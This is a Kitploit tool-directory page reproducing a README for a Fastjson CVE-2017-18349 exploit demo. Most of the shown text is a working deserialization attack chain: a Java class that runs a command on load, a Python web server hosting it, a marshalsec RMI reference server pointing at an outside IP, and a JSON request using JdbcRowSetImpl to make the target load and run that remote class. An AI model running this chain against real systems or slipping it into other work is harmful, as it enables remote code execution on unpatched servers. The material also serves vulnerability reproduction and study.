Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Fastjson--CVE-2017-18349- | Kitploit
Tools/GitHubGitHub/h0cksr/fastjson--cve-2017-18349-
Vulnerability AnalysisExploitationWeb Application ExploitationCommand and ControlRemote Access ToolPayload Development
GitHubh0cksr/fastjson--cve-2017-18349-

Fastjson--CVE-2017-18349-

View Repository
24 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Fastjson--CVE-2017-18349-Cancel changes

After setting the project as a Maven project, run (note: using a higher version of JDK may fail, it is recommended to use JDK version 1.8.65) Just run the main function of FastjsondemoApplication.java TouchFile.java file

root@kitploit:~
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
  static {
      try {
          Runtime rt = Runtime.getRuntime();
          String[] commands = {"touch", "/tmp/flag_test"};
          Process pc = rt.exec(commands);
          pc.waitFor();
      } catch (Exception e) {
          // do nothing
      }
  }
}

Then compile it into a class file using javac version 8

root@kitploit:~
javac TouchFile.java

Python starts web service

root@kitploit:~
python -m SimpleHTTPServer 80

Use marshalsec to generate RMIServer

root@kitploit:~
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://47.99.70.18/#TouchFile" 9999

Modify request packet

root@kitploit:~
POST / HTTP/1.1
Host: 127.0.0.1:8080

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://47.99.70.18:9999/TouchFile",
        "autoCommit":true
    }
}

Effect: Picture

Download Tool